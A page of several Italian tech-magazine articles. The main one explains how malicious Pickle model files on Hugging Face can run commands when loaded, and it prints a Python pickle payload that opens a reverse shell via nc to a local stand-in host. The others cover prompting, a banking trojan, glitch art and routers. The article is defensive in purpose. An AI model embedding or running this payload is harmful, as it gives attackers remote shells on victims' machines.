Connect with us

Articoli

Cervelli biologici sotto sale

Avatar

Pubblicato

il

Se fino a qualche anno fa tutti dovevano mettere le mani su una blockchain, ormai la nuova novità è l’intelligenza artificiale, in particolare i modelli generativi. In realtà la tecnologia non è così nuova: l’intelligenza artificiale esiste, sostanzialmente, da quando esistono i computer. Persino le reti neurali generative non sono una cosa particolarmente nuova. Il motivo per cui hanno avuto un improvviso successo è che sono finalmente diventate abbastanza efficienti da poterci fare davvero qualcosa. Il problema di simulare un cervello biologico è sempre stato l’enorme numero di operazioni da svolgere, soprattutto per l’allenamento della rete neurale, e procedendo sequenzialmente come fa una CPU ci vuole troppo tempo. Ma, da alcuni anni, le GPU hanno raggiunto un grado di sviluppo per cui ogni volta che ne viene rilasciata una nuova generazione (ogni 2 anni, circa) riesce a eseguire almeno 20 o 30 volte il numero di operazioni parallele di quella precedente. Questo permette oggi l’allenamento di reti neurali con decine di miliardi di neuroni in un tempo ragionevolmente breve (misurabile in ore, che varia a seconda dei casi), invece di impiegare anni, anche usando delle schede grafiche “consumer”. Naturalmente si tratta pur sempre di oggetti costosi, da alcune migliaia di euro, ma è un investimento tutto sommato abbordabile. Soprattutto per le aziende, che non vedono l’ora di appiccicare il bollino “made with AI” ai loro prodotti.

C’è in realtà un’altra cosa che, soprattutto nell’ultimo anno, ha dato un forte impulso proprio ai modelli generativi, cioè i modelli di rete neurale allenati per generare dei contenuti (immagini, musica, e testi). E questa cosa, come spesso capita, è la filosofia open source. Le principali aziende che hanno investito in questa tecnologia hanno, infatti, capito che il modo migliore per continuare a innovare è invogliare sviluppatori e appassionati da tutto il mondo a collaborare con nuove idee. È in questa logica che una piattaforma come HuggingFace ha trovato il proprio successo: sulla sua community è possibile pubblicare i propri modelli di rete neurale, provarli, e scaricare quelli di altri utenti. Questo permette a chiunque di non dover partire da capo, ma di prendere un modello preesistente e poi allenarlo con i propri dati, per adattarlo alle proprie necessità.

 

La stessa documentazione di Pickle segnala che il formato non è di per se sicuro, e che bisogna caricare solo file pkl provenienti da fonti affidabili. FONTE: https://docs.python.org/3/library/pickle.html

 

Naturalmente, alla fine si tratta in buona parte di un grosso “repository”, dal quale scaricare modelli per l’IA, un po’ come GitHub è un grosso contenitore in cui chiunque può caricare qualsiasi cosa. Sta all’utente assicurarsi di scaricare solo software fidato, invece di installare sul proprio sistema il primo malware che capita. E questo vale anche per i modelli IA.

 

Tanti numeri in fila per uno

È molto importante capire che, semplificando un po’, alla fine un “modello” di IA è una collezione di “pesi”, cioè una sfilza di numeri che stabilisce come siano collegati tra loro i neuroni della rete. Cambiando i pesi, la rete neurale si comporta in modo diverso. È meno prevedibile del cambiare una riga di codice in un programma tradizionale ma, alla fine dei conti, non è altro che un algoritmo che esegue operazioni sulla CPU (o sulla GPU, ma l’inferenza funziona bene anche su CPU). Essendo molto complesso e poco prevedibile, è improbabile (seppure non impossibile), che qualcuno possa realizzare un malware cambiando a mano i pesi di un modello. Almeno al giorno d’oggi.

Ma non è tutto qui: c’è un dettaglio importante del meccanismo di memorizzazione e condivisione dei modelli per Python, il linguaggio di programmazione più diffuso per l’intelligenza artificiale. Un dettaglio che può offrire a un malintenzionato la possibilità di eseguire direttamente comandi sul sistema su cui viene caricato il modello, fino a prenderne il controllo remoto. Hugging Face supporta i principali motori per AI basati su Python, in particolare TensorFlow e PyTorch. I modelli caricati su HF sono degli archivi che contengono diversi file. Uno di questi è il config.json, che contiene le informazioni necessarie per configurare il motore (per esempio PyTorch) con la corretta struttura prevista della rete neurale che si vuole creare. Un altro file importante è il modello vero e proprio, il set dei pesi della rete neurale, che viene memorizzato nel formato Pickle.

Pickle è un “serializzatore” per oggetti Python. Il modello, infatti, non è altro che un array multidimensionale, e per scriverlo su un file bisogna mettere in serie tutti i vari numeri. Sostanzialmente, un po’ come la prospettiva è uno strumento per rappresentare su un foglio degli oggetti tridimensionali. Pickle è un formato binario piuttosto flessibile, si possono serializzare non solo oggetti “statici” come gli array, ma anche intere funzioni: all’interno del file vengono infatti scritte delle istruzioni in una sorta di bytecode, che è molto più efficiente per il caricamento nella RAM rispetto a leggere da un file JSON oppure all’interpretazione di codice Python. Per esempio, un semplice array monodimensionale si può serializzare così:

pickled = pickle.dumps([‘pickle’, ‘me’, 1, 2, 3])

E il bytecode Pickle risultante è questo:

   0: \x80 PROTO      4

    2: \x95 FRAME      25

   11: ]    EMPTY_LIST

   12: \x94 MEMOIZE    (as 0)

   13: (    MARK

   14: \x8c     SHORT_BINUNICODE ‘pickle’

   22: \x94     MEMOIZE    (as 1)

   23: \x8c     SHORT_BINUNICODE ‘me’

   27: \x94     MEMOIZE    (as 2)

   28: K        BININT1    1

   30: K        BININT1    2

   32: K        BININT1    3

   34: e        APPENDS    (MARK at 13)

   35: .    STOP

 

Per un array così semplice sembra uno spreco, ma in realtà per oggetti molto più grandi (i modelli AI pesano spesso molti GigaByte) questo meccanismo rende molto più efficiente il caricamento. Questo però significa che in un file Pickle è possibile inserire qualunque tipo di istruzione, eventualmente anche codice malevolo. Questa non è di per sé una vulnerabilità, è solo una caratteristica di questo formato. La vulnerabilità sta nel comportamento degli utenti: bisogna capire che Pickle è un formato binario, difficile da “disassemblare”, e quindi i modelli per AI devono essere trattati come delle “blackbox”. Cioè, devono essere considerati come sempre potenzialmente pericolosi, e bisogna scaricarli solo da fonti sicure, esattamente come si farebbe per un programma binario. Bisogna, insomma, sempre ricordare che si sta eseguendo un software sul proprio sistema, quindi è necessario essere sicuri che questo non faccia nulla di malevolo. Infatti, inserire degli shellcode in un file Pickle è estremamente semplice:

import pickle

import base64

import os

class RCE:

    def __reduce__(self):

        cmd = (‘rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ‘

               ‘/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f’)

        return os.system, (cmd,)

if __name__ == ‘__main__’:

    pickled = pickle.dumps(RCE())

 

Che poi viene tradotto nel file pkl più o meno in questo modo:

0: \x80 PROTO      4

[…]

376: R REDUCE

377: q BINPUT 37

379: X BINUNICODE ‘ignore’

390: q BINPUT 38

392: c GLOBAL ‘posix system’

406: q BINPUT 39

408: X BINUNICODE “rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f”

474: q BINPUT 40

476: \x85 TUPLE1

477: q BINPUT 41

479: R REDUCE

480: q BINPUT 42

482: u SETITEMS (MARK at 33)

 

Quello che stiamo serializzando non è semplicemente la stringa del comando shell da eseguire, ma proprio la chiamata alla funzione os.system, quindi Pickle quando esegue il bytecode finisce per lanciare direttamente il comando sulla shell di sistema. A essere inserito nel file Pickle è infatti proprio il codice della funzione os.system se scriviamo:

return os.system()

la funzione viene eseguita e otteniamo solo il suo output.

Se invece scriviamo:

return os.system

otteniamo un puntamento alla funzione stessa, pronta per essere eseguita in un secondo momento. E quel momento arriva quando il Pickle viene deserializzato e caricato in memoria. I ricercatori di Wiz, società di sicurezza informatica, hanno provato a prendere addirittura un modello realmente funzionante, GPT2, e aggiungere delle istruzioni alla fine, proprio per eseguire dei comandi sulla shell. E funziona perfettamente, senza nemmeno provocare errori durante il caricamento nella rete neurale di PyTorch. Questo significa che l’utente che scarica e esegue il modello sul proprio PC o server non si accorge nemmeno di quello che sta succedendo: dal suo punto di vista, il modello linguistico funziona correttamente.

 

Un modello GPT2 opportunamente modificato può essere in grado di rispondere normalmente alle domande (sopra), ma anche di lanciare comandi sulla shell (sotto). FONTE: https://www.wiz.io/blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure

 

Entità della vulnerabilità

Visto il gran numero di utenti e aziende che provano a utilizzare reti neurali generative, e visto che i modelli Pickle per PyTorch sono di fatto il principale standard in questo campo, il pericolo è piuttosto diffuso. Ma è importante ricordare che non tutti i modelli disponibili su HuggingFace sono malevoli. In particolare, non lo sono di certo quelli prodotti da grandi aziende o da community open source. Sicuramente, il fatto che siano binari rende difficile persino per i gestori di Hugging Face scansionarli alla ricerca di malware. E, considerando anche il fatto che i modelli generativi vengono tipicamente, utilizzati su macchine (fisiche o virtuali) piuttosto potenti, c’è il rischio che qualche malintenzionato possa mettere in circolare un modello che gli offre delle shell remote, per ritrovarsi così con una grossa botnet al suo comando.

 

HuggingFace sta mettendo a punto SafeTensors, un formato per la serializzazione che dovrebbe essere sicuro “by design” e comunque veloce come Pickle. FONTE: https://github.com/huggingface/safetensors

 

La soluzione

Essendo questa possibilità di inserire chiamate di sistema dentro un file Pickle, una normale caratteristica del formato, non c’è una vera soluzione. L’unico modo per essere protetti è una catena di fiducia tra tutti i vari passaggi, dal primo autore del modello a chi lo ha integrato allenandolo con altri dataset. Spesso, infatti, si trovano versioni “personalizzate” di modelli pubblicamente disponibili, più adatte a qualche particolare contesto (per esempio, allenate con documenti medici, oppure sportivi). È spesso questi modelli vengono rielaborati e integrati a loro volta. Ma basta che uno di questi “intermediari” non sia affidabile per rendere potenzialmente insicuro il modello finale. Bisogna ripensare ai tempi in cui si scaricavano eseguibili crackati da eMule: quante volte è capitato di provare a eseguire l’ultima versione di Photoshop, solo per accorgersi che in realtà (nella migliore delle ipotesi) era uno spyware che farciva il browser di banner e popup, magari inviando anche email di spam a tutti i contatti? Quando utilizziamo un software senza conoscerne la provenienza dobbiamo sempre mettere in conto la possibilità che chi ce lo ha condiviso possa averci inserito un malware. Un modo per, letteralmente, contenere i potenziali danni è la containerizzazione. Se, infatti, PyTorch e il modello vengono caricati dentro un container a se stante, separato dal resto delle applicazioni che lo andranno a utilizzare, è possibile limitare le risorse che potrà utilizzare, eventualmente impedirne l’accesso a internet (evitando shell remote), e soprattutto evitare un accesso diretto a file sensibili (che verranno passati al momento via API e tenuti in memoria solo per il tempo di elaborazione).

A cura di Luca Tringali

 

Leggi anche: “La cybersecurity nell’era dell’IA

[wpdevart_facebook_comment curent_url="http://developers.facebook.com/docs/plugins/comments/" order_type="social" title_text="Facebook Comment" title_text_color="#000000" title_text_font_size="22" title_text_font_famely="monospace" title_text_position="left" width="100%" bg_color="#d4d4d4" animation_effect="random" count_of_comments="7" ]

Articoli

Come ottenere una Bash facilissima

Fatevi aiutare dagli LLM a fare il vostro lavoro di sysadmin generando script Bash utili e sicuri per risparmiare tempo e denaro!

Avatar

Pubblicato

il

Scrivere un buon prompt per generare uno script Bash richiede precisione, consapevolezza dei rischi di sistema e conoscenza delle convenzioni Unix. La shell è uno strumento potenzialmente distruttivo, quindi il prompt deve guidare attentamente il modello, specialmente quando si lavora con file, permessi o comandi che incidono sul sistema. Rispetto ad altri prompt un aspetto è fondamentale: indicate sempre i limiti di sicurezza. La shell può eseguire comandi pericolosi (rm, mv, >, dd, ecc.), quindi includete sempre indicazioni come “Evita operazioni distruttive” e richiedete sempre conferme manuali o backup, quando possibile. Riducete inoltre le assunzioni implicite, ancora di più che per altri contesti. Specificate quindi l’ambiente previsto: è Linux? Se sì, quale distro? Quale versione di Bash? Quali comandi di base
sono disponibili (grep, awk, jq, ecc.)? Richiedete poi sempre commenti e controlli di sicurezza. Chiedete al modello di inserire commenti nel
codice e controlli ([[ -f ]] prima di eliminare file, per esempio).

Compatibilmente con le esigenze dello script, usate protezioni esplicite: richiedete l’inserimento della riga set -euo pipefail all’inizio dello script, per interrompere l’esecuzione in caso di errori o variabili non inizializzate. Naturalmente, e lo specifichiamo anche se dovrebbe essere consuetudine, verificate sempre prima di agire.
Non eliminate o sovrascrivete file senza controllare:

if [[ -f “$file” ]]; then
rm “$file”
fi

A meno che non ne abbiate assolutamente e categoricamente bisogno, evitate operazioni su / o ~: specificate che non devono essere usati percorsi assoluti pericolosi se non richiesto esplicitamente. Cercate di non usare mai rm -rf senza motivazione e conferma e, se proprio necessario, richiedete almeno un dry-run di prova.

 

I prompt più utili

Non metteremo LLM contro LLM qui perché da varie prove abbiamo visto che tutti si comportano bene. Invece vi diamo spunti per script molto utili per semplificare il lavoro del sysadmin o comunque dell’utente Linux:
Scrivi uno script per archiviare e comprimere tutti i file più vecchi di 30 giorni in /var/log su Almalinux”.
Crea uno script per monitorare un processo e riavviarlo se si blocca su Linux”.
Scrivi uno script per controllare lo spazio su disco, per qualsiasi disco collegato, e inviare un avviso via email se l’utilizzo supera il 90%”. Qui opzionalmente potete aggiungere il sistema di invio che preferite.
Crea uno script per eseguire il backup di un database PostgreSQL con nome del file con data e ora su Linux e salvarlo in /opt/backups”.
Questi sono solo alcuni degli esempi, molto brevi e concisi. Potete naturalmente pensare alle vostre specifiche esigenze e farne realizzare di appropriati. Con un po’ di disciplina e prove potete ricavare da qualsiasi buon modello, Mistral incluso che ha avuto qualche problemino nei nostri test, risultati che vi fanno risparmiare tempo e denaro.

 

 

Leggi anche: “IA: l’importanza del prompt

Continua a Leggere

Articoli

Immagini da favola con l’IA

Creare fotografie o illustrazioni con l’IA è ormai la norma ma come si produce un’immagine fedelissima ai vostri desideri?

Avatar

Pubblicato

il

Chiedere a un modello linguistico di grandi dimensioni di generare un testo è una cosa. Chiedergli di generare un’immagine è una sfida completamente diversa, sia più vincolante sia, paradossalmente, più aperta. Nella generazione di immagini, il prompt deve fare il lavoro di una telecamera, di un regista, di un tecnico delle luci,
di un costumista e talvolta anche di un concept artist. Ogni parola diventa una pennellata, ogni ambiguità un rischio di fraintendimento. E a differenza della generazione di testi, in cui un input vago può comunque produrre una prosa coerente, i suggerimenti visivi vaghi spesso producono immagini surreali, incoerenti o semplicemente noiose. Per
capire perché la richiesta di informazioni è così critica nella generazione di immagini, è utile sapere cosa succede sotto il cofano.

 

Come funziona il modello

Quando si inserisce una richiesta testuale in un modello di immagine AI – che si tratti di DALL-E, Midjourney o Stable
Diffusion – si innesca un processo che traduce il linguaggio in una rappresentazione visiva attraverso un modello addestrato su enormi serie di dati di coppie immagine-didascalia. Questi sistemi hanno imparato ad associare parole, frasi e spunti stilistici a specifici modelli visivi. Il modello costruisce quindi l’immagine in modo incrementale, spesso attraverso un processo di diffusione: partendo da un rumore e perfezionandolo gradualmente in un’immagine coerente che si allinea statisticamente con la richiesta. Grazie a questa architettura, la precisione della richiesta ha un impatto diretto sulla qualità, la chiarezza e la composizione dell’output. Non si tratta solo di ciò che si descrive, ma anche di come lo si fa. Una buona richiesta di immagine unisce specificità e struttura: nomina gli oggetti, definisce le
relazioni, imposta l’ambiente e, se necessario, evoca uno stato d’animo o uno stile artistico.

 

Un esempio pratico

Una richiesta come:
“un uomo in una foresta”

può produrre qualcosa di tecnicamente accurato ma visivamente insipido o generico. In contrasto con:

“Un escursionista solitario che indossa una giacca rossa si trova in mezzo a pini imponenti, la nebbia mattutina che si arriccia intorno ai suoi stivali, una luce morbida e dorata che filtra attraverso la chioma – un film, una profondità di campo ridotta”

Questa seconda versione fa diverse cose: stabilisce un soggetto centrale, aggiunge un contesto, specifica il colore e l’illuminazione, introduce l’atmosfera e suggerisce uno stile visivo. Le migliori pratiche per una presentazione efficace delle immagini iniziano con una descrizione gerarchica.
Ciò significa iniziare con il soggetto principale, quindi stratificare i dettagli in un ordine logico:

Cosa sta facendo il soggetto?
Dove si trova?
Qual è lo stato d’animo?
Che ora del giorno è?
C’è una tavolozza di colori, una composizione o uno stile specifico a cui si mira?

L’esplicitezza in questo caso è fondamentale. Dire “fotorealistico” rispetto a “pittura digitale” o “olio su tela” guida il modello di rendering verso librerie di texture e presupposti visivi diversi. Menzionare la terminologia della macchina fotografica come “obiettivo da 35 mm”, “bokeh” o “grandangolo” spesso produce composizioni più professionali, anche se il modello non comprende appieno l’ottica: ha imparato statisticamente il tipo di immagini a cui quei termini sono legati. È anche saggio fornire dei vincoli. Dire “minimalista” o “composizione simmetrica” può evitare il disordine visivo. Descrivere le condizioni di illuminazione – “controluce drammatico”, “ombre morbide” o “sole a
mezzogiorno” – può aiutare ad ancorare l’immagine a un ambiente specifico. È possibile anche creare uno stato d’animo utilizzando spunti emotivi come “malinconico”, “sereno” o “teso”, soprattutto per i modelli che si sono formati su fotografie d’arte o fotogrammi di film con didascalia. E ora vediamo come se la cavano gli LLM…

 

IL PROMPT DA UTILIZZARE CON GPT-4o – GROK – GEMINI – STABLE DIFFUSION

Per mettere alla prova i modelli LLM abbiamo scelto questo prompt, in questo caso in inglese per non introdurre
problemi di lingua: “A futuristic library at sunset, built inside a glass dome in the middle of a lush forest. The structure
is illuminated from within, with soft golden light glowing through the transparent panels. Inside, towering
bookshelves spiral upward around a central tree growing through the dome, its branches extending toward the ceiling. A person in minimalist white clothing sits cross-legged on a floating platform, reading a glowing book. Style:
ultra-detailed, photorealistic, cinematic lighting, wideangle shot, 35mm lens, shallow depth of field, ambient fog
outside, warm color palette”.

 

I RISULTATI:

GTP-4o: un buon compromesso
L’LLM di OpenAI si è comportato piuttosto bene. C’è la foresta, la pedana flottante dà l’idea del futuro, l’illuminazione è corretta e l’immagine è fotorealistica. La libreria però non è molto realistica nella sua geometria e soprattutto non è a spirale.

 

Grok: poco futuristico e non fedele
L’immagine di Grok ha due problemi principali. Il primo è che non è futuristica: non si vedono davvero elementi che facciano pensare al futuro. E, come per GPT-4o, la libreria non è a spirale, oltre ad avere una geometria pessima.

 

Gemini: risultato perfetto
Cosa dire dell’immagine creata dall’LLM di Google? Praticamente nulla: futuristica, ben illuminata, fotorealistica e soprattutto con una libreria a spirale esattamente come avevamo chiesto. Persino il contrasto è ineccepibile. Ottimo lavoro!

 

Stable Diffusion: bella, ma…
Questo modello dà il meglio quando riceve parametri aggiuntivi specifici, quindi sapevamo che avrebbe avuto problemi. L’immagine è tecnicamente bella ma mancano quasi tutti i parametri essenziali richiesti dal nostro prompt.

 

EVITARE GLI ERRORI COMUNI GENERANDO IMMAGINI

In questo articolo avete visto come creare il prompt perfetto per creare immagini; ma è importante
anche sapere cosa NON fare! Ecco le cose da evitare quando si generano immagini… Anzitutto evitate di essere
troppo vaghi. Prompt come “un bel paesaggio” o “una città futuristica” possono sembrare stimolanti, ma producono risultati piatti o cliché. Bellezza e futurismo hanno significati radicalmente diversi a seconda del contesto visivo e il modello si orienterà verso le interpretazioni statisticamente più comuni. Non mettete poi troppe idee insieme.
Cercare di accatastare più elementi non correlati (“un gatto, un’astronave e una sala da ballo vittoriana”) in un
unico prompt di solito porta a una confusione visiva, a meno che non si definiscano attentamente le relazioni
e la gerarchia. In caso contrario, il modello può confondere o oscurare gli elementi in modi poco utili. Inoltre,
frasi come “la sensazione del tempo che rallenta” o “un momento di tensione sospesa” possono essere
significative nella scrittura umana, ma sono troppo vaghe per i modelli di immagini senza ulteriori ancore
visive. Abbinate sempre concetti astratti a immagini concrete. Inoltre non ignorate mai le indicazioni di
composizione e stile. Se non si specifica l’inquadratura (per esempio, “orientamento ritratto”, “primo piano”, “grandangolo”) o lo stile (“illustrazione cyberpunk”, “pittura a olio del XIX secolo”), il modello è libero di tirare a indovinare, spesso con risultati incoerenti o non voluti. Infine, come per altri temi, inondare l’input di parole chiave nella speranza di “massimizzare” il risultato può in realtà essere controproducente. La ridondanza può confondere il
modello o far sembrare il risultato “sintetico” e troppo processato.

 

 

Leggi anche: “Il prompt che attacca l’IA

Continua a Leggere

Articoli

IA: l’importanza del prompt

Perché è importante fare le domande giuste e come funziona la procedura di domanda e risposta negli LLM?

Avatar

Pubblicato

il

Ogni interazione con un modello linguistico di grandi dimensioni inizia con un prompt. È l’istruzione, il suggerimento, l’input che dice al modello cosa si vuole e come lo si vuole. Sebbene possa sembrare una semplice richiesta in un linguaggio semplice, un prompt ben fatto è tutt’altro che banale. È la differenza tra una risposta vaga e una precisa, tra un output generico e una soluzione su misura.

Un prompt non si limita ad attivare il modello, ma lo guida, definisce i confini della risposta e stabilisce il tono e il contesto. Man mano che questi sistemi diventano più avanzati, in grado di gestire compiti molto complessi, l’onere della chiarezza si sposta sempre più sull’utente.

Non basta sapere cosa si vuole, bisogna esprimerlo in modo che il modello lo capisca senza ambiguità. Un prompt non è solo una domanda, ma una specifica. Può definire la struttura, il tono, il formato, la prospettiva e persino l’intento. Lo stesso modello può generare un riassunto esecutivo, un tweet sarcastico, un’email formale o una storia della buonanotte, con le giuste istruzioni. La sfida sta nel trovare la frase esatta che sblocca il comportamento desiderato. Il modello deve sapere quale voce usare, cosa tralasciare e a chi sta parlando. In sostanza, il prompt engineering non consiste solo nel porre domande, ma anche nel progettare interazioni.

Servizi come ChatGPT o Claude danno accesso ai loro LLM tramite API. Attenzione però a un aspetto importante: le risposte che arrivano dall’API sono un po’ diverse da quelle della chat, in parte perché quest’ultima ha accesso al Web

 

Come funziona tecnicamente

Quando un Large Language Model (LLM) riceve un prompt, entra in azione un processo complesso ma ben definito che trasforma il testo d’ingresso in una risposta coerente e pertinente, che parte con la tokenizzazione del prompt. I modelli non ragionano, infatti, direttamente sulle parole o sulle lettere, ma su token, che sono unità linguistiche minime (possono essere una parola intera, una parte di parola, o anche solo una lettera nei casi più complessi).
I token vengono poi inviati nel cuore del modello: una rete neurale transformer. Qui, ogni token passa attraverso strati composti da meccanismi chiamati self-attention e feedforward. Questi permettono al modello di capire il contesto globale (cioè ogni parola rispetto alle altre), assegnare pesi e priorità semantiche a parole chiave e memorizzare informazioni rilevanti tramite i cosiddetti embedding vettoriali. Il transformer, strato dopo strato,
costruisce una rappresentazione interna del prompt, cercando di “capire” cosa l’utente sta chiedendo. Una volta compreso il prompt, il modello procede, token per token, a generare la risposta. A ogni passaggio, il modello analizza i token già generati (il contesto), calcola una distribuzione di probabilità su tutti quelli possibili e sceglie il token successivo in base a questa distribuzione. Questo processo si ripete iterativamente, finché non si raggiunge un token di fine sequenza (<end>) o un limite massimo di lunghezza. Una volta generati tutti i token della risposta, questi vengono decodificati (cioè trasformati da ID numerici in testo leggibile) dal tokenizer inverso. Per esempio,
i token [4213, 128, 603, 2] potrebbero essere ricostruiti come “Certo, ecco una email”. In ambienti come ChatGPT o l’API di Claude, dopo la generazione, la risposta può passare attraverso filtri di sicurezza (per rimuovere contenuti offensivi o pericolosi), troncamenti o formattazioni e postelaborazioni in base all’applicazione (per esempio,
strutturare il testo in HTML).

 

 

Leggi anche: “Il ransomware che usa modelli LLM

Continua a Leggere

Articoli

Il virus bancario creato con l’IA

Un malware che si diffonde su WhatsApp e ruba credenziali bancarie: la minaccia arriva dal Brasile, ma potrebbe presto varcare i confini

Avatar

Pubblicato

il

Un nuovo malware fa parlare di sé nel mondo della cybersicurezza: si chiama Maverick ed è un trojan bancario – un tipo di virus che mira a rubare credenziali e soldi dai conti online – scoperto dai ricercatori del team GReAT di Kaspersky. La sua particolarità? Parte del suo codice è stato generato dall’intelligenza artificiale, rendendolo più sofisticato, veloce da sviluppare e difficile da individuare. Al momento Maverick colpisce soprattutto gli utenti in Brasile, ma gli esperti temono che possa presto diffondersi anche in altri Paesi, come già successo con altri trojan brasiliani, tra cui Grandoreiro e Guildma.

Trojan bancari brasiliani diffusi in tutto il mondo nel 2025. Il Brasile è in testa alla classifica

 

Come si diffonde Maverick

Il virus si propaga attraverso file LNK dannosi, ovvero scorciatoie (i classici “collegamenti” di Windows) inviate tramite WhatsApp. Basta un clic su un collegamento apparentemente innocuo per attivare l’infezione.
Una volta eseguito, Maverick comunica con un server di comando e controllo (C2) che verifica l’origine del file: solo se proviene da un canale “autorizzato” l’attacco procede, in modo da evitare di essere scoperto dai sistemi di sicurezza. Il malware si comporta anche come un worm, cioè è in grado di auto-diffondersi inviandosi a sua volta tramite le app di messaggistica delle vittime. Nei primi dieci giorni di ottobre, le soluzioni di Kaspersky hanno bloccato oltre 62.000 tentativi di esecuzione del file infetto solo in Brasile.

Codici generati dall’intelligenza artificiale di Maverick

 

Cosa riesce a fare

Dopo l’infezione, Maverick può prendere il controllo totale del computer:

  • cattura schermate e registra ciò che digiti sulla tastiera (keylogger);

  • controlla il mouse o blocca lo schermo quando visiti il sito della tua banca;

  • mostra pagine di phishing sovrapposte a quelle reali per rubare username e password;

  • monitora l’attività su 26 siti di banche brasiliane, su sei piattaforme di criptovalute e su un sito di pagamenti digitali.

Il tutto avviene “in memoria”, cioè senza lasciare quasi tracce sul disco, sfruttando strumenti legittimi come PowerShell e .NET. Questo lo rende particolarmente insidioso, perché è più difficile da individuare dai software antivirus tradizionali.

Il ruolo dell’IA

Secondo Kaspersky, Maverick utilizza frammenti di codice generati da sistemi di IA per alcune funzioni cruciali, come la decodifica dei certificati di sicurezza. In pratica, i cybercriminali sfruttano l’AI come un assistente di programmazione, capace di scrivere o modificare porzioni di codice in modo rapido e preciso.
Un esempio? Come un utente può chiedere a un chatbot di scrivere un testo, un hacker può chiedergli di “ottimizzare” una funzione o di nascondere un comando per eludere i controlli di sicurezza.

Le soluzioni per difendersi

Per ridurre il rischio di cadere vittima di trojan bancari come Maverick, Kaspersky raccomanda alcune buone pratiche:

  • Non aprire file o link ricevuti via messaggistica, anche se arrivano da contatti noti: il loro account potrebbe essere stato compromesso.

  • Diffidare dei messaggi che mettono fretta o pressione, una tattica comune dei truffatori.

  • Usare una soluzione di sicurezza completa con la funzione Safe Money, che verifica la legittimità dei siti bancari e dei sistemi di pagamento online.

  • Aggiornare regolarmente sistema operativo e programmi, scaricandoli solo da fonti ufficiali.

La scoperta di Maverick è l’ennesimo esempio di come l’intelligenza artificiale, se usata male, possa potenziare il cybercrimine. Ma è anche un invito a essere più consapevoli: ogni clic, ogni file aperto, può essere una porta d’ingresso per un attacco digitale.

*Illustrazione progettata da Securelist

Continua a Leggere

Articoli

L’estetica dell’errore

Dalla corruzione dei dati alla generazione algoritmica: come l’arte glitch e la cultura hacker stanno ridefinendo i confini dell’espressione visiva e sonora

Avatar

Pubblicato

il

L’hacking non è solo una questione di codice, sicurezza e sistemi informatici. È una forma d’arte, un processo creativo che sfrutta l’errore, il glitch e la sperimentazione per dare vita a nuove forme d’espressione visiva e sonore.
Negli ultimi decenni, poi, la cultura hacker ha non solo influenzato profondamente l’arte contemporanea, ma anche spinto artisti e creativi a esplorare le possibilità offerte dalle tecnologie digitali attraverso pratiche non convenzionali.

UNA MAGGIORE ANALISI

Partiamo dal termine glitch, che indica un errore imprevisto in un sistema digitale, un malfunzionamento che può generare risultati inaspettati. Se nel contesto tecnologico rappresenta un problema, nel mondo dell’arte è diventato un linguaggio espressivo. L’arte glitch si basa sulla corruzione di dati digitali, file audio e immagini per ottenere effetti visivi e sonori unici. L’artista-hacker non crea da zero, manipola e distorce ciò che già esiste, generando opere che riflettono il caos e l’imprevedibilità del mondo digitale. Un esempio significativo è l’uso della databending, una tecnica che altera i dati di un file immagine con strumenti pensati per altri formati, come software di editing audio applicati a immagini. Il risultato è una composizione di pixel distorti e colori esplosi, una sorta di “errore controllato” che diventa arte.

Esempi di arte generativa realizzati con il software Processing. Utilizzato da artisti, designer e creativi di tutto il mondo, questo software combina la potenza del codice con un’interfaccia intuitiva, permettendo di esplorare nuove forme espressive attraverso la programmazione.

 

ARTE GENERATIVA E ALGORITMI CREATIVI

Gli hacker artisti non si limitano a lavorare con glitch casuali, ma spesso progettano nuovi algoritmi generativi per creare immagini e suoni. Software come Processing e p5.js vengono utilizzati per sviluppare codici che generano forme artistiche autonome, spesso basate su schemi matematici e casualità controllata.
Uno degli aspetti più affascinanti dell’arte generativa è la sua imprevedibilità: l’artista imposta le regole, ma il risultato finale è sempre differente. Questo approccio richiama la filosofia hacker, basata sulla sperimentazione e sull’adattamento creativo ai sistemi tecnologici.

 

L’HACKING NELL’ARTE CONTEMPORANEA

L’hacking è anche un atto politico e sociale. Molti artisti-hacker utilizzano la tecnologia per criticare il controllo digitale, la sorveglianza e l’omologazione dei media. Le opere di artisti come JODI (Joan Heemskerk e Dirk Paesmans) dimostrano come la manipolazione del codice possa essere usata per sovvertire l’estetica tradizionale del Web e della grafica digitale. In ambito sonoro, il glitch si è affermato come un genere musicale a sé stante. Artisti come Oval e Alva Noto hanno costruito intere discografie su suoni ottenuti dalla manipolazione digitale di CD e file audio corrotti.

Harold Cohen sviluppò e perfezionò il software AARON presso la University of California, San Diego, dedicando anni di ricerca all’aggiornamento del suo codice per renderlo sempre più sofisticato.

 

NUOVE FRONTIERE

Con l’avvento degli NFT (Non-Fungible Token), la cultura hacker ha trovato nuovi spazi di espressione e critica. Alcuni artisti hanno utilizzato vulnerabilità nelle piattaforme blockchain per creare opere d’arte che si autodistruggono o cambiano aspetto nel tempo, dimostrando come l’arte digitale sia legata all’ecosistema hacker.Un esempio iconico è Pak, un artista digitale che ha sfidato il concetto di unicità nell’arte NFT, giocando con smart contract e generando opere che si modificano a seconda delle interazioni del pubblico.

 

IN FUTURO…

L’arte glitch e l’hacking condividono una radice comune: il desiderio di esplorare, sperimentare e sovvertire i sistemi esistenti. In un’epoca in cui la tecnologia domina ogni aspetto della nostra vita, la fusione tra hacking e arte diventa una forma di resistenza culturale e un’opportunità per ridefinire la creatività nell’era digitale. Il futuro dell’arte hacker è ancora in evoluzione, con nuove tecnologie come l’intelligenza artificiale e la realtà aumentata che offrono possibilità sempre più complesse. Una cosa è certa: l’hacker-artista continuerà a essere una figura chiave nel panorama culturale attuale, spingendo i confini della creatività oltre i limiti imposti dai sistemi tradizionali.

 

 

Leggi anche: “Attacchi ai servizi di rete

Continua a Leggere

Articoli

Avere router a prova di attacco

Le opzioni che non puoi tralasciare se vuoi proteggere connessione di rete e dati personali

Avatar

Pubblicato

il

